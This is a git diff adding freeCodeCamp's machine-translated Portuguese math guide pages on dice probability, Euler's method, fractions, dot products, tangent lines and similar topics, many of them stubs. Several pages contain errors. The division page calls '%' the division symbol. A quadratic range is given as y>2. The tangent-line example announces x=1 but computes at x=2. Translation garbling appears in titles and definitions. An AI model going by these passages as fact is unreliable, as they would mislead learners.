+++ b/client/src/guide/portuguese/mathematics/die-rolling-probability/index.md
@@ -0,0 +1,19 @@
+---
+title: Die Rolling Probability
+localeTitle: Probabilidade de Laminação
+---
+## Probabilidade de Laminação
+
+Vamos inicialmente considerar um único dado, que sabemos ser justo. Um dado justo é aquele em que, quando você rolar, todos os seis lados têm a mesma probabilidade de aparecer com a face para cima.
+
+Como há **seis** lados, isso significa que há uma chance de **1 em** cada lado em particular aparecer com a face para cima. Esta probabilidade é frequentemente escrita como uma fração, portanto, 1/6. Usando P (lado) para indicar a probabilidade (P) de um lado em particular, mostrando a face para cima, podemos, portanto, dizer:
+
+P (1) = P (2) = P (3) = P (4) = P (5) = P (6) = 1/6.
+
+Suponha que agora recebamos dois dados justos. Uma vez que cada um dos seis lados do dado 1 pode mostrar-se voltado para cima com cada um dos seis lados do dado 2, existem 6 x 6 = 36 possibilidades diferentes e a chance de qualquer combinação ocorrer é, portanto, 1/36.
+
+Se não importa em que ordem olhamos para os dados, uma vez que os rolamos, temos que olhar com mais cuidado as probabilidades. Por exemplo, um 3 e um 5 podem aparecer como 3 no die 1 e 5 no die 2 **ou** 5 no die 1 e 3 no die 2 (2 combinações), então podemos dizer que P (3,5 ou 5,3) = 1/36 + 1/36 = 1/18.
+
+Se a soma total aparecendo é tudo o que importa, temos que olhar para todas as combinações de faces que compõem a soma em que estamos interessados. Por exemplo, suponha que nós queremos saber a probabilidade de obter uma soma total de 7. saiba que 7 = 1 + 6 **ou** 6 + 1 **ou** 2 + 5 **ou** 5 + 2 **ou** 3 + 4 **ou** 4 + 3 (6 combinações) de modo que P (soma = 7) seja 1/36 + 1/36 + 1 / 36 + 1/36 + 1/36 + 1/36 = 6 \* 1/36 = 6/36 ou 1/6.
+
+Exercício: Qual é a probabilidade de obter uma soma total de 5 ao rolar dois dados justos? Que tal uma soma de 2?
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/differential-equations/eulers-method/index.md b/client/src/guide/portuguese/mathematics/differential-equations/eulers-method/index.md
new file mode 100644
index 0000000000..cd6feba8ae
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/differential-equations/eulers-method/index.md
@@ -0,0 +1,71 @@
+---
+title: Euler's Method
+localeTitle: Método de Euler
+---
+# Método de Euler
+
+O método de Euler é um procedimento numérico de primeira ordem para resolver equações diferenciais ordinárias (ODE) com um determinado valor inicial.
+
+## O problema geral do valor inicial
+
+![](https://raw.githubusercontent.com/pranabendra/articles/master/Euler-method/images/eqn006.png)
+
+## Metodologia
+
+O método de Euler usa a fórmula simples,
+
+![](https://raw.githubusercontent.com/pranabendra/articles/master/Euler-method/images/eqn3.png)
+
+para construir a tangente no ponto `x` obter o valor de `y(x+h)` , cuja inclinação é,
+
+![](https://raw.githubusercontent.com/pranabendra/articles/master/Euler-method/images/eqn008.png)
+
+![](https://raw.githubusercontent.com/pranabendra/articles/master/Euler-method/images/Euler.png)
+
+No método de Euler, você pode aproximar a curva da solução pela tangente em cada intervalo (isto é, por uma seqüência de segmentos curtos), nas etapas de `h` .
+
+_Em geral_ , se você usar um pequeno tamanho de passo, a precisão da aproximação aumentará.
+
+## Fórmula geral
+
+![](https://raw.githubusercontent.com/pranabendra/articles/master/Euler-method/images/eqn7.png)
+
+![](https://raw.githubusercontent.com/pranabendra/articles/master/Euler-method/images/eqn_new_2.png)
+
+## Valor funcional em qualquer ponto `b` , dado por `y(b)`
+
+![](https://raw.githubusercontent.com/pranabendra/articles/master/Euler-method/images/eqn6.png)
+
+Onde,
+
+*   **n** = número de etapas
+*   **h** = largura do intervalo (tamanho de cada etapa)
+
+### Pseudo-código
+
+![](https://raw.githubusercontent.com/pranabendra/articles/master/Euler-method/images/eqn_new_1.png)
+
+## Exemplo
+
+Encontre `y(1)` , dado
+
+![](https://raw.githubusercontent.com/pranabendra/articles/master/Euler-method/images/eqn007.png)
+
+Resolvendo analiticamente, a solução é _**y = e x**_ e `y(1)` = `2.71828` . (Nota: Esta solução analítica é apenas para comparar a precisão.)
+
+Usando o método de Euler, considerando `h` = `0.2` , `0.1` , `0.01` , você pode ver os resultados no diagrama abaixo.
+
+![](https://raw.githubusercontent.com/pranabendra/articles/master/Euler-method/images/comparison.png)
+
+Quando `h` = `0.2` , `y(1)` = `2.48832` (erro = 8,46%)
+
+Quando `h` = `0.1` , `y(1)` = `2.59374` (erro = 4,58%)
+
+Quando `h` = `0.01` , `y(1)` = `2.70481` (erro = 0,50%)
+
+Você pode notar como a precisão melhora quando as etapas são pequenas.
+
+## Mais Informações:
+
+1.  [Métodos numéricos para resolver equações diferenciais](http://calculuslab.deltacollege.edu/ODE/7-C-1/7-C-1-h-c.html)
+2.  [Método de Euler](https://en.wikipedia.org/wiki/Euler_method)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/differential-equations/index.md b/client/src/guide/portuguese/mathematics/differential-equations/index.md
new file mode 100644
index 0000000000..0e26ba700a
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/differential-equations/index.md
@@ -0,0 +1,11 @@
+---
+title: Differential Equations
+localeTitle: Equações diferenciais
+---
+## Equações diferenciais
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/differential-equations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/direct-comparison-test-series/index.md b/client/src/guide/portuguese/mathematics/direct-comparison-test-series/index.md
new file mode 100644
index 0000000000..055813f716
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/direct-comparison-test-series/index.md
@@ -0,0 +1,11 @@
+---
+title: Direct Comparison Test Series
+localeTitle: Série de teste de comparação direta
+---
+## Série de teste de comparação direta
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/direct-comparison-test-series/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/directly-proportional-and-inversely-proportional/index.md b/client/src/guide/portuguese/mathematics/directly-proportional-and-inversely-proportional/index.md
new file mode 100644
index 0000000000..65528452c2
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/directly-proportional-and-inversely-proportional/index.md
@@ -0,0 +1,11 @@
+---
+title: Directly Proportional and Inversely Proportional
+localeTitle: Proporcionalmente Direto e Inversamente Proporcional
+---
+## Proporcionalmente Direto e Inversamente Proporcional
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/directly-proportional-and-inversely-proportional/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/discrete-and-continuous-data/index.md b/client/src/guide/portuguese/mathematics/discrete-and-continuous-data/index.md
new file mode 100644
index 0000000000..26d3698dec
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/discrete-and-continuous-data/index.md
@@ -0,0 +1,11 @@
+---
+title: Discrete and Continuous Data
+localeTitle: Dados discretos e contínuos
+---
+## Dados discretos e contínuos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/discrete-and-continuous-data/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/distributive-property-explained/index.md b/client/src/guide/portuguese/mathematics/distributive-property-explained/index.md
new file mode 100644
index 0000000000..eb2e9a5d62
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/distributive-property-explained/index.md
@@ -0,0 +1,11 @@
+---
+title: Distributive Property Explained
+localeTitle: Propriedade distributiva explicada
+---
+## Propriedade distributiva explicada
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/distributive-property-explained/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/dividing-fractions-by-whole-numbers/index.md b/client/src/guide/portuguese/mathematics/dividing-fractions-by-whole-numbers/index.md
new file mode 100644
index 0000000000..bc38e6da34
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/dividing-fractions-by-whole-numbers/index.md
@@ -0,0 +1,20 @@
+---
+title: Dividing Fractions by Whole Numbers
+localeTitle: Divisão de frações por números inteiros
+---
+## Divisão de frações por números inteiros
+
+Aqui estão os passos para dividir uma fração por um número inteiro
+
+1.  Multiplique o denominador da fração pelo número inteiro.
+2.  Se possível, simplifique a fração resultante
+
+#### Exemplo 1
+
+ 4 ⁄ 5 ÷ 3 = 4 ⁄ (3 \* 5) = 4 ⁄ 15 
+
+#### Exemplo 2
+
+ 6 ⁄ 7 ÷ 2 = 6 ⁄ (2 \* 7) = 6 ⁄ 14 = 3 ⁄ 7 (simplificado) 
+
+Por favor, note que um número inteiro também pode ser considerado como uma fração, considerando seu denominador como 1. Ele, então, se torna semelhante a dividir duas frações
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/dividing-fractions/index.md b/client/src/guide/portuguese/mathematics/dividing-fractions/index.md
new file mode 100644
index 0000000000..2f525f423a
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/dividing-fractions/index.md
@@ -0,0 +1,34 @@
+---
+title: Dividing Fractions
+localeTitle: Divisão de Frações
+---
+## Divisão de Frações
+
+Isso é semelhante a multiplicar duas frações, com uma etapa adicional
+
+Considere a expressão A ÷ B, aqui A é chamado de _dividendo_ e B é chamado de _divisor_ .
+
+Aqui estão os passos para dividir duas frações,
+
+1.  Tome o recíproco da fração do divisor (B).
+2.  Multiplique a fração de dividendo (A) com a recíproca da fração do divisor
+3.  Simplifique a fração resultante, se possível
+
+#### Exemplos
+
+##### Exemplo 1
+
+ 2 ⁄ 3 ÷ 6 ⁄ 7 
+
+1.  Tome o recíproco do divisor. Para obter uma recíproca de uma fração, troque o numerador e o denominador dessa fração. O recíproco de 6 ⁄ 7 é 7 ⁄ 6
+    
+2.  Multiplique o dividendo com o recíproco do divisor
+    
+
+ 2 ⁄ 3 ÷ 6 ⁄ 7 = 2 ⁄ 3 × 7 ⁄ 6 = 7 ⁄ 9 
+
+##### Exemplo 2
+
+ 4 ⁄ 6 ÷ 2 = 4 ⁄ 6 × 1 ⁄ 2 = 4 ⁄ 12 = 1 ⁄ 3 (simplificado) 
+
+Por favor, note que um número inteiro pode ser considerado como uma fração considerando seu denominador como 1. Além disso, você só pode dividir por frações diferentes de zero.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/dividing-polynomials-synthetic-division/index.md b/client/src/guide/portuguese/mathematics/dividing-polynomials-synthetic-division/index.md
new file mode 100644
index 0000000000..5b8279e3b3
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/dividing-polynomials-synthetic-division/index.md
@@ -0,0 +1,11 @@
+---
+title: Dividing Polynomials Synthetic Division
+localeTitle: Dividindo Polynomials Synthetic Division
+---
+## Dividindo Polynomials Synthetic Division
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/dividing-polynomials-synthetic-division/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/division/index.md b/client/src/guide/portuguese/mathematics/division/index.md
new file mode 100644
index 0000000000..93ec193dd6
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/division/index.md
@@ -0,0 +1,13 @@
+---
+title: Division
+localeTitle: Divisão
+---
+## Divisão
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/division/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+Divisão é representada pelo símbolo '%'. Deduzir um número por outro é descobrir quantas vezes o segundo vai para o primeiro. Portanto, 7/2 = 3,5 porque 2 vai para 7 3 e 1 vezes.
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/domain-and-range-of-quadratic-functions/index.md b/client/src/guide/portuguese/mathematics/domain-and-range-of-quadratic-functions/index.md
new file mode 100644
index 0000000000..9d0a6fdb8f
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/domain-and-range-of-quadratic-functions/index.md
@@ -0,0 +1,11 @@
+---
+title: Domain and Range of Quadratic Functions
+localeTitle: Domínio e Intervalo de Funções Quadráticas
+---
+## Domínio e Intervalo de Funções Quadráticas
+
+O domínio e o intervalo determinam os possíveis valores para variáveis ​​dentro de qualquer função específica.
+
+No caso de funções quadráticas, o domínio é quase sempre x = +/- infinito (x pode ser igual a qualquer número). Por outro lado, o alcance é determinado pelo vértice da parábola. Por exemplo, o intervalo da equação y = x ^ 2 + 2 é y> 2 porque y não pode ser igual a nenhum número abaixo do vértice.
+
+### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/domain-and-range-of-rational-functions/index.md b/client/src/guide/portuguese/mathematics/domain-and-range-of-rational-functions/index.md
new file mode 100644
index 0000000000..cdfdfc8c11
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/domain-and-range-of-rational-functions/index.md
@@ -0,0 +1,11 @@
+---
+title: Domain and Range of Rational Functions
+localeTitle: Domínio e Intervalo de Funções Racionais
+---
+## Domínio e Intervalo de Funções Racionais
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/domain-and-range-of-rational-functions/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/dot-product/index.md b/client/src/guide/portuguese/mathematics/dot-product/index.md
new file mode 100644
index 0000000000..0868be56bd
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/dot-product/index.md
@@ -0,0 +1,58 @@
+---
+title: Dot Product
+localeTitle: Produto pontual
+---
+## Produto pontual
+
+Um produto escalar é uma maneira de multiplicar dois vetores para obter um único número. Produtos pontuais são comuns em física e álgebra linear.
+
+Você pode escrever o produto escalar de dois vetores **a** e **b** como **a** · **b** .
+
+Dois vetores devem ter o mesmo comprimento para ter um produto escalar.
+
+Para encontrar o produto escalar, multiplique o `nth` elemento no primeiro vetor pelo `nth` elemento do segundo vetor. Faça isso para todos os elementos. Em seguida, encontre a soma de todos esses produtos. Essa soma é o produto escalar!
+
+### Propriedades de Dot Products
+
+O produto escalar de dois vetores também pode ser expresso como `a · b = ||a|| * ||b|| * cos(theta)` . Nesta fórmula, `||a||` é a magnitude do vetor **a** , e `theta` é o ângulo entre os dois vetores.
+
+Dois vetores ortogonais (também conhecidos como perpendiculares) sempre terão um produto escalar de 0.
+
+### Exemplo trabalhado
+
+Por exemplo, digamos que você tenha os vetores **a** e **b** . Seja `a = (1 2 3 4)` `b = (-1 0 1 2)` .
+
+O produto pontual seria `(1)(-1) + (2)(0) + (3)(1) + (4)(2) = -1 + 0 + 3 + 8 = 12` . Então, neste caso, você diria que **a** · **b** = 12.
+
+### Exemplo de código
+
+Aqui está uma função de exemplo em JavaScript. Ele retorna o produto escalar de dois argumentos vetoriais:
+
+```javascript
+/** 
+ * @param {array} a - A vector/array of numbers 
+ * @param {array} b - A vector/array of numbers with the same length as a 
+ * @returns {number} - The dot product of a and b 
+ */ 
+ function dotProduct(a, b) { 
+  // Check if the lengths are the same - if not, there can't be a dot product 
+  if (a.length !== b.length) { 
+    throw "vector lengths must be equal"; 
+  } 
+ 
+  // Create a variable to store the sum as we calculate it 
+  let product = 0; 
+ 
+  // Loop through the vectors, calculate products, and add them to the total 
+  for (let i = 0; i < a.length; i++) { 
+    // You may want to ensure that a[i] and b[i] are both finite numbers 
+    product += a[i] * b[i]; 
+  } 
+ 
+  return product; 
+ } 
+```
+
+### Mais Informações:
+
+[Vetores](../vectors/index.md)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/double-angle-formulas/index.md b/client/src/guide/portuguese/mathematics/double-angle-formulas/index.md
new file mode 100644
index 0000000000..5f1d177e19
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/double-angle-formulas/index.md
@@ -0,0 +1,11 @@
+---
+title: Double Angle Formulas
+localeTitle: Fórmulas de Ângulo Duplo
+---
+## Fórmulas de Ângulo Duplo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/double-angle-formulas/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/e-constant/index.md b/client/src/guide/portuguese/mathematics/e-constant/index.md
new file mode 100644
index 0000000000..f70fa0ad0e
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/e-constant/index.md
@@ -0,0 +1,15 @@
+---
+title: E Constant
+localeTitle: E Constant
+---
+## E Constant
+
+A constante E, em homenagem a Leonhard Euler, é igual ao valor: 2,718281828 e é a base dos Logaritmos Naturais, e esse tipo de matemática é aplicável em muitas áreas da matemática e da física, e qualquer logaritmo natural, se você encontrar um, é resolvido de forma semelhante a qualquer outro logaritmo.
+
+Mas por que "e" importa? E é uma constante que podemos usar para observar o comportamento de funções exponenciais. E ^ x assemelha-se a muitas outras curvas exponenciais. Além disso, o inverso de e ^ x é ln (x), a função logarítmica de base. DE particular importância, ln (e) = 1.
+
+http://www.mathsisfun.com/numbers/e-eulers-number.html
+
+#### Mais Informações:
+
+Mais informações sobre as funções e, exponencial e logarítmica podem ser encontradas [aqui](https://www.khanacademy.org/tag/natural-logarithm-and-e)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/e-eulers-number/index.md b/client/src/guide/portuguese/mathematics/e-eulers-number/index.md
new file mode 100644
index 0000000000..c5b043b20e
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/e-eulers-number/index.md
@@ -0,0 +1,13 @@
+---
+title: E Eulers Number
+localeTitle: E Eulers Number
+---
+## E Eulers Number
+
+O Número de Euler, 2.71828, é uma famosa constante matemática irracional que serve como base do logaritmo natural. É nomeado após o matemático suíço, Leonhard Euler, e pode ser identificado com o seguinte símbolo, ℇ. Esse número tem muitos usos e funções importantes na matemática e é aplicado no cálculo de juros compostos, por exemplo. Você usaria o Número de Euler no cálculo para poder executar o cálculo diferencial e integral com funções exponenciais e logaritmos.
+
+![Leonhard_Euler Imagem](https://github.com/TomerPacific/fccGuideImages/blob/master/Leonhard_Euler.jpg?raw=true)
+
+\#### Mais Informações:
+
+Para ler mais sobre o Número de Euler, você pode ir aqui: https://en.wikipedia.org/wiki/E _(_ constante _matemática_
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/eigenvalue/index.md b/client/src/guide/portuguese/mathematics/eigenvalue/index.md
new file mode 100644
index 0000000000..552117328e
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/eigenvalue/index.md
@@ -0,0 +1,11 @@
+---
+title: Eigenvalue
+localeTitle: Autovalor
+---
+## Autovalor
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/eigenvalue/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/end-behavior-of-a-function/index.md b/client/src/guide/portuguese/mathematics/end-behavior-of-a-function/index.md
new file mode 100644
index 0000000000..b8feac230c
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/end-behavior-of-a-function/index.md
@@ -0,0 +1,11 @@
+---
+title: End Behavior of a Function
+localeTitle: Comportamento final de uma função
+---
+## Comportamento final de uma função
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/end-behavior-of-a-function/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/equal-less-and-greater-than-symbols/index.md b/client/src/guide/portuguese/mathematics/equal-less-and-greater-than-symbols/index.md
new file mode 100644
index 0000000000..d8427a1823
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/equal-less-and-greater-than-symbols/index.md
@@ -0,0 +1,27 @@
+---
+title: Equal Less and Greater Than Symbols
+localeTitle: Igual Menor e Maior que Símbolos
+---
+## Igual Menor e Maior que Símbolos
+
+Este artigo irá discutir os seguintes símbolos: `=` , `<` e `>` .
+
+O sinal de igual `=` é usado para mostrar igualdade. O que quer que esteja no lado esquerdo do sinal de igual, pode ser intercambiado com o que está no lado direito. Ao converter declarações matemáticas em palavras, lemos `=` como "igual", mas também pode ser lido como "é".
+
+Por exemplo:
+
+2x = 35y deve ser lido da seguinte forma:
+
+Dois X é igual a trinta e cinco Y ou dois X são trinta e cinco Y.
+
+O sinal menor que `<` e maior que o sinal `>` é usado para mostrar desigualdades. Ao tentar lembrar qual é o sinal, é útil lembrar que o sinal menor `<` parece mais ou menos como um L maiúsculo que é ligeiramente girado.
+
+Uma vez que você saiba qual é o sinal, qual coisa a ser lembrada é a de ler a desigualdade, como se fosse ler uma sentença em inglês, ou seja, da esquerda para a direita.
+
+Por exemplo:
+
+25 <42 deve ser lido da seguinte forma:
+
+Vinte e cinco é menos de quarenta e dois.
+
+Um outro truque que pode ajudar é que você pode pensar nos sinais de desigualdade como uma seta que aponta para o valor menor. Portanto, no exemplo acima 25 <42, a seta aponta para 25.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/equation-of-a-line/index.md b/client/src/guide/portuguese/mathematics/equation-of-a-line/index.md
new file mode 100644
index 0000000000..311d8fe838
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/equation-of-a-line/index.md
@@ -0,0 +1,23 @@
+---
+title: Equation of a Line
+localeTitle: Equação de uma linha
+---
+## Equação de uma linha
+
+### Para uma dada inclinação e intercepção de y (formulário padrão):
+
+Seja `m` o declive da linha `b` seja o intercepto y. (Observe que a interceptação de y é o ponto no qual a linha dada cruza o eixo y). Então a equação de uma linha é:
+
+`y = mx+b`
+
+### Para uma dada inclinação e um ponto através do qual o Line Passes (Point-Slope Form):
+
+Seja `m` a inclinação da linha e `(x1, y1)` seja a coordenada do ponto através do qual a linha dada passa. Então a equação de uma linha é:
+
+`(y - y1) = m(x - x1)`
+
+### Para dois pontos através dos quais a linha passa:
+
+Seja `(x1, y1)` e `(x2, y2)` as coordenadas de dois pontos através dos quais a linha dada passa. Então a equação de uma linha é:
+
+`(y - y1)(x2 - x1) = (y2 - y1)(x - x1)`
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/equation-of-tangent-line/index.md b/client/src/guide/portuguese/mathematics/equation-of-tangent-line/index.md
new file mode 100644
index 0000000000..1f505d1bb1
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/equation-of-tangent-line/index.md
@@ -0,0 +1,34 @@
+---
+title: Equation of Tangent Line
+localeTitle: Equação da Linha Tangente
+---
+## Equação da Linha Tangente
+
+Uma linha tangente a uma curva é uma linha reta que toca uma curva, ou um gráfico de uma função, em um único ponto. A linha tangente representa a taxa instantânea de mudança da função naquele ponto. A inclinação da linha tangente em um ponto da função é igual à derivada da função no mesmo ponto.
+
+### Encontrar a equação da linha tangente:
+
+Para encontrar a equação da linha tangente para uma curva no ponto x = x0, precisamos encontrar o seguinte:
+
+1.  Encontre a derivada da função (iederivativa da equação da curva).
+2.  Encontre o valor da derivada colocando x = x0, esta será a inclinação da tangente (digamos m).
+3.  Encontre o valor y0, colocando o valor de x0 na equação da curva. Nossa tangente passará por este ponto (x0, y0)
+4.  Encontre a equação da tangente usando a forma de declive de pontos. Como a tangente passa por (x0, y0) e tem inclinação m, a equação da linha tangente pode ser dada como: (y-y0) = m (x-x0)
+
+#### Exemplo: Para encontrar a equação da linha tangente à curva f (x) = 4x ^ 2-4x + 1 em x = 1
+
+Solução: f (x) = 4x ^ 2-4x + 1
+
+Etapa 1: f '(x) = 8x-4
+
+Etapa 2: m = f '(2) = 8,2-4 = 12
+
+Passo 3: y0 = f (x0) = f (2) = 4,2 ^ 2-4,2 + 1 = 16-8 + 1 = 9
+
+Etapa 4: m = 12; (x0, y0) = (2,9)
+
+Portanto, a equação da linha tangente é: (y-y0) = m (x-x0)
+
+\=> (y-9) = 12 (x-2)
+
+\=> y = 12x-15
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/eulers-formula/index.md b/client/src/guide/portuguese/mathematics/eulers-formula/index.md
new file mode 100644
index 0000000000..0cc73ceab8
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/eulers-formula/index.md
@@ -0,0 +1,17 @@
+---
+title: Eulers Formula
+localeTitle: Fórmula de Eulers
+---
+## Fórmula de Eulers
+
+Eulers Formula é uma identidade matemática que afirma que (para qualquer valor de x): e ^ (ix) = cosx + isinx
+
+Isso é interessante devido ao seguinte caso: Quando x = pi, a fórmula de Euler dá a bela identidade invovendo pi, e e i.
+
+e ^ (ipi) + 1 = 0,
+
+Uma piada famosa para matemáticos é "Quantos matemáticos são necessários para trocar uma lâmpada?" e respostas "-e ^ (ipi)" Você pode dizer qual é a resposta?
+
+#### Mais Informações:
+
+Leia mais sobre Eulers Formula [aqui](http://mathworld.wolfram.com/EulerFormula.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/even-and-odd-functions/index.md b/client/src/guide/portuguese/mathematics/even-and-odd-functions/index.md
new file mode 100644
index 0000000000..373433f9fa
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/even-and-odd-functions/index.md
@@ -0,0 +1,29 @@
+---
+title: Even and Odd Functions
+localeTitle: Funções pares e ímpares
+---
+## Funções pares e ímpares
+
+### Funções Gerais
+
+Uma função `f` é um mapeamento de um conjunto A (entrada / domínio) para um conjunto B (saída / co-domínio). Pode ser de diferentes tipos com base em várias classificações.
+
+### Função par:
+
+Uma função `f(x)` é par se e somente se `f(x) = f(-x)` .
+
+Um exemplo de uma função par seria `f(x) = x^2` porque `f(2) = 2^2 = 4 = (-2)^2 = f(-2)` .
+
+As funções trigonométricas - `cos(x)` e `sec(x)` também são funções
+
+### Função estranha
+
+Uma função `f(x)` é mesmo se e somente se `f(x) = -f(-x)`
+
+Um exemplo de uma função ímpar seria `f(x) = x^3` porque `f(2) = 2^3 = 8 = -(-8) = -(-2)^3 = -f(-2)` .
+
+As funções trigonométricas - `sin(x)` , `tan(x)` , `cot(x)` e `cosec(x)` também são funções
+
+#### Mais Informações:
+
+*   [Wikipedia](https://en.wikipedia.org/wiki/Even_and_odd_functions)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/example-all-the-ways-you-can-flip-a-coin/index.md b/client/src/guide/portuguese/mathematics/example-all-the-ways-you-can-flip-a-coin/index.md
new file mode 100644
index 0000000000..0cb4cc25cb
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/example-all-the-ways-you-can-flip-a-coin/index.md
@@ -0,0 +1,11 @@
+---
+title: Example All the Ways You Can Flip a Coin
+localeTitle: Exemplo todas as maneiras que você pode virar uma moeda
+---
+## Exemplo todas as maneiras que você pode virar uma moeda
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/example-all-the-ways-you-can-flip-a-coin/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/example-of-subtracting-fractions-with-unlike-denominators/index.md b/client/src/guide/portuguese/mathematics/example-of-subtracting-fractions-with-unlike-denominators/index.md
new file mode 100644
index 0000000000..efdf423a52
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/example-of-subtracting-fractions-with-unlike-denominators/index.md
@@ -0,0 +1,35 @@
+---
+title: Example of Subtracting Fractions with Unlike Denominators
+localeTitle: Exemplo de subtração de frações ao contrário de denominadores
+---
+## Exemplo de subtração de frações ao contrário de denominadores
+
+A subtração de frações com denominadores diferentes é semelhante à adição de frações com denominadores diferentes. Aqui estão os passos
+
+1.  Converter as frações para frações equivalentes com denominador comum
+    
+2.  Para converter duas frações em denominador comum, multiplique o numerador e o denominador de uma fração pelo denominador da outra fração.
+    
+3.  Agora que as frações têm denominadores comuns, subtraia os numeradores de ambas as frações e coloque o resultante sobre o denominador
+    
+    Considere, a ⁄ b e c ⁄ d são frações com denominadores diferentes, você pode subtrair essas frações em uma única etapa como abaixo,
+    
+
